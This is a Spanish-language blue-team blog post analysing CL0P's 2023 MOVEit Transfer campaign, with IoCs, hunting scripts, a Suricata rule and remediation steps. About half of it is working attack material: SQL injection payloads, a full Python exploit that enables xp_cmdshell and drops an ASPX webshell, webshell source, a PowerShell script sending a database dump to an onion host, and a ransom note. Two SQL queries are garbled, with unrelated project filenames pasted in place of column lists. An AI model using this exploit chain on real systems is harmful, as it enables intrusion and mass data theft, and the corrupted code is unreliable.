MOVEit & CL0P (2023): Ransomware de nueva generación
SQL injection en MOVEit Transfer explotada por CL0P ransomware. Análisis de la campaña.
•Blue Team•7 min de lectura
Compartir:
SQL injection en MOVEit Transfer explotada por CL0P ransomware. Análisis de la campaña.
csharp // MOVEit Transfer - Código vulnerable (pseudo-código) public class GuestAccessController : Controller { [HttpPost] public ActionResult ProcessRequest(string folderID) { // VULNERABLE: Inyección SQL directa string query = $"SELECT CLOUDFLARE_SETUP.md DEPLOYMENT_GUIDE.md DEVELOPMENT.md Dockerfile.dev PRD.md PROJECT_STATUS.md README.md SESION_2026-01-30.md SKILLS.md apps check_d1_tables.sql docker-compose.dev.yml docs infra node_modules ops package-lock.json package.json packages update-posts.sh FROM folders WHERE id = '{folderID}'"; var result = db.ExecuteQuery(query); return Json(result); } } ### Payload de explotación sql -- Payload básico para extraer información folderID=' UNION SELECT @@version,2,3,4,5-- - -- Payload para activar xp_cmdshell (si es sysadmin) folderID='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; -- - -- Payload para escribir webshell folderID='; EXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^<%@ Import Namespace="System.Diagnostics" %>^<% Response.Write("<pre>"); Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request["cmd"]; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); Response.Write("</pre>"); %> > C:\inetpub\wwwroot\moveit\human2.aspx'; -- - ### Explotación automatizada python #!/usr/bin/env python3 import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class MOVEitExploit: def __init__(self, target): self.target = target.rstrip('/') self.session = requests.Session() self.session.verify = False def test_vulnerability(self): """Test for SQL injection""" payload = "' UNION SELECT @@version,2,3,4,5-- -" url = f"{self.target}/guestaccess.aspx" data = { 'transaction': 'upload', 'folderID': payload } try: resp = self.session.post(url, data=data) if 'Microsoft SQL Server' in resp.text: print("[+] Target is vulnerable!") return True except Exception as e: print(f"[-] Error: {e}") return False def enable_xp_cmdshell(self): """Enable xp_cmdshell via SQL injection""" payloads = [ "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --", "'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --" ] url = f"{self.target}/guestaccess.aspx" for payload in payloads: data = {'transaction': 'upload', 'folderID': payload} self.session.post(url, data=data) print("[+] xp_cmdshell enabled") def drop_webshell(self): """Drop ASPX webshell""" webshell = '''<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% string cmd = Request["cmd"]; if (cmd != null) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>"); } %>''' # Escapar caracteres especiales escaped = webshell.replace('"', '""').replace("'", "''") payload = f"'; EXEC xp_cmdshell 'echo {escaped} > C:\\inetpub\\wwwroot\\moveit\\human2.aspx'; --" url = f"{self.target}/guestaccess.aspx" data = {'transaction': 'upload', 'folderID': payload} self.session.post(url, data=data) print("[+] Webshell dropped at /moveit/human2.aspx") def execute_command(self, cmd): """Execute command via webshell""" url = f"{self.target}/moveit/human2.aspx?cmd={cmd}" resp = self.session.get(url) return resp.text if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) exploit = MOVEitExploit(sys.argv[1]) if exploit.test_vulnerability(): exploit.enable_xp_cmdshell() exploit.drop_webshell() result = exploit.execute_command("whoami") print(f"[+] Command output:\n{result}") ## Webshell "human2.aspx" CL0P dejaba un webshell característico: aspx <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { string cmd = Request["cmd"]; if (!string.IsNullOrEmpty(cmd)) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.UseShellExecute = false; p.Start(); string output = p.StandardOutput.ReadToEnd(); string error = p.StandardError.ReadToEnd(); Response.Write("<pre>"); Response.Write(output); Response.Write(error); Response.Write("</pre>"); } } </script> ## Post-explotación de CL0P ### 1. Exfiltración de base de datos powershell # CL0P extraía la base de datos completa de MOVEit $dbServer = "localhost" $dbName = "MOVEitTransfer" # Dump de tablas con datos sensibles $tables = @("users", "files", "fileChunks", "folders", "transactions") foreach ($table in $tables) { sqlcmd -S $dbServer -d $dbName -Q "SELECT CLOUDFLARE_SETUP.md DEPLOYMENT_GUIDE.md DEVELOPMENT.md Dockerfile.dev PRD.md PROJECT_STATUS.md README.md SESION_2026-01-30.md SKILLS.md apps check_d1_tables.sql docker-compose.dev.yml docs infra node_modules ops package-lock.json package.json packages update-posts.sh FROM $table" -o "C:\temp\$table.csv" -s"," } # Comprimir y exfiltrar Compress-Archive -Path "C:\temp\*.csv" -DestinationPath "C:\temp\moveit_dump.zip" Invoke-WebRequest -Uri "http://cl0p-exfil.onion/upload" -Method Post -InFile "C:\temp\moveit_dump.zip" ### 2. Descargar archivos almacenados csharp // Script para descargar todos los archivos de MOVEit using System; using System.IO; using System.Data.SqlClient; class Exfiltrator { static void Main() { string connString = "Server=localhost;Database=MOVEitTransfer;Integrated Security=true;"; using (SqlConnection conn = new SqlConnection(connString)) { conn.Open(); string query = "SELECT FileID, FileName, FileData FROM FileChunks"; SqlCommand cmd = new SqlCommand(query, conn); using (SqlDataReader reader = cmd.ExecuteReader()) { while (reader.Read()) { string fileId = reader["FileID"].ToString(); string fileName = reader["FileName"].ToString(); byte[] fileData = (byte[])reader["FileData"]; File.WriteAllBytes($"C:\\exfil\\{fileId}_{fileName}", fileData); } } } } } ### 3. Nota de extorsión CL0P no cifraba archivos, solo exfiltraba y extorsionaba: ╔══════════════════════════════════════════════════════════╗ ║ YOUR DATA HAS BEEN STOLEN - CL0P TEAM ║ ╚══════════════════════════════════════════════════════════╝ We have downloaded: - Employee records (PII): 500,000+ individuals - Customer data: 5,000,000+ records - Financial documents: 50GB - Contracts and legal documents: 100GB - Total: 250GB You have 7 days to contact us or: 1. Data will be published on our leak site 2. Customers/regulators will be notified 3. GDPR fines will follow Contact: http://cl0pleaks.onion/[COMPANY-ID] Price: $2,000,000 USD (negotiable for smaller companies) Payment: Bitcoin only - CL0P Team ## Detección ### Indicators of Compromise (IoCs) Webshells conocidos: human2.aspx shell.aspx test.aspx leech.aspx _human2.aspx Rutas sospechosas: C:\MOVEitTransfer\wwwroot\human2.aspx C:\inetpub\wwwroot\moveit\human2.aspx SQL queries sospechosas: sql sp_configure 'xp_cmdshell' EXEC xp_cmdshell UNION SELECT @@version ### Hunting con PowerShell powershell # 1. Buscar webshells en MOVEit $moveitPath = "C:\MOVEitTransfer\wwwroot" Get-ChildItem -Path $moveitPath -Recurse -Filter "*.aspx" | Where-Object { $_.CreationTime -gt (Get-Date "2023-05-01") } | ForEach-Object { $content = Get-Content $_.FullName -Raw if ($content -match "cmd\.exe|Process\.Start|xp_cmdshell") { Write-Host "[!] Suspicious file: $($_.FullName)" Write-Host " Created: $($_.CreationTime)" } } # 2. Revisar logs de IIS $iisLogs = "C:\inetpub\logs\LogFiles\W3SVC1" Get-Content "$iisLogs\*.log" | Select-String "guestaccess.aspx.*UNION|xp_cmdshell" | ForEach-Object { Write-Host "[!] SQL Injection attempt: $_" } # 3. Verificar configuración de xp_cmdshell Import-Module SqlServer Invoke-Sqlcmd -Query "EXEC sp_configure 'xp_cmdshell'" -ServerInstance "localhost" ### Regla Suricata bash alert http any any -> any any ( msg:"MOVEit SQL Injection Attempt"; flow:to_server,established; content:"guestaccess.aspx"; http_uri; content:"UNION SELECT"; nocase; pcre:"/folderID=.*UNION.*SELECT/i"; classtype:web-application-attack; sid:1000002; rev:1; ) ## Víctimas notables y datos expuestos ### Sector energético Shell: 79,000 empleados Schneid Electric: Datos de clientes B2B ### Sector transporte British Airways: Personal + pasajeros Aer Lingus: Empleados ### Gobierno Minnesota Dept. of Education: 95,000 estudiantes Oregon DMV: 3.5 millones de registros Louisiana OMV: Licencias de conducir ### Educación Universidades estadounidenses: 100,000+ estudiantes National Student Clearinghouse: Datos académicos ### Otros Sony: Datos de empleados internacionales BBC: Personal + pensionistas Siemens Energy: Información corporativa Total estimado: 62+ millones de personas afectadas ## Remediación ### Parches urgentes powershell # Verificar versión instalada $moveitPath = "C:\Program Files\MOVEit Transfer" $version = (Get-Item "$moveitPath\MOVEitTransfer.exe").VersionInfo.FileVersion Write-Host "Versión instalada: $version" # Versiones seguras: # 2023.0.3+ # 2022.1.7+ # 2022.0.6+ # 2021.1.6+ # 2021.0.8+ ### Búsqueda de compromisos sql -- Buscar queries sospechosas en logs de SQL Server SELECT creation_time, text, execution_count FROM sys.dm_exec_query_stats CROSS APPLY sys.dm_exec_sql_text(sql_handle) WHERE text LIKE '%xp_cmdshell%' OR text LIKE '%UNION SELECT%' ORDER BY creation_time DESC; ### Limpiar compromisos powershell # 1. Eliminar webshells Remove-Item "C:\MOVEitTransfer\wwwroot\human2.aspx" -Force -ErrorAction SilentlyContinue # 2. Deshabilitar xp_cmdshell sqlcmd -Q "EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;" # 3. Rotar credenciales # - Cuentas de SQL Server # - Cuentas de servicio de MOVEit # - Certificados SSL # 4. Revisar usuarios creados sqlcmd -Q "SELECT name, create_date FROM sys.server_principals WHERE create_date > '2023-05-01' AND type = 'S';" ## Lecciones críticas 1. MFT software es objetivo de alto valor - Contiene datos de múltiples organizaciones - Un compromiso = miles de víctimas 2. SQL Injection sigue siendo prevalente - Uso de ORMs y prepared statements - Input validation estricta 3. Extorsión sin cifrado - CL0P cambió el modelo: robar + extorsionar - No need to encrypt (menos riesgo de detección) 4. Supply chain risk - Confianza en vendors es un riesgo - Due diligence de seguridad de proveedores --- #MOVEit #CL0P #Ransomware #SQLInjection #DataBreach #BlueTeam #IR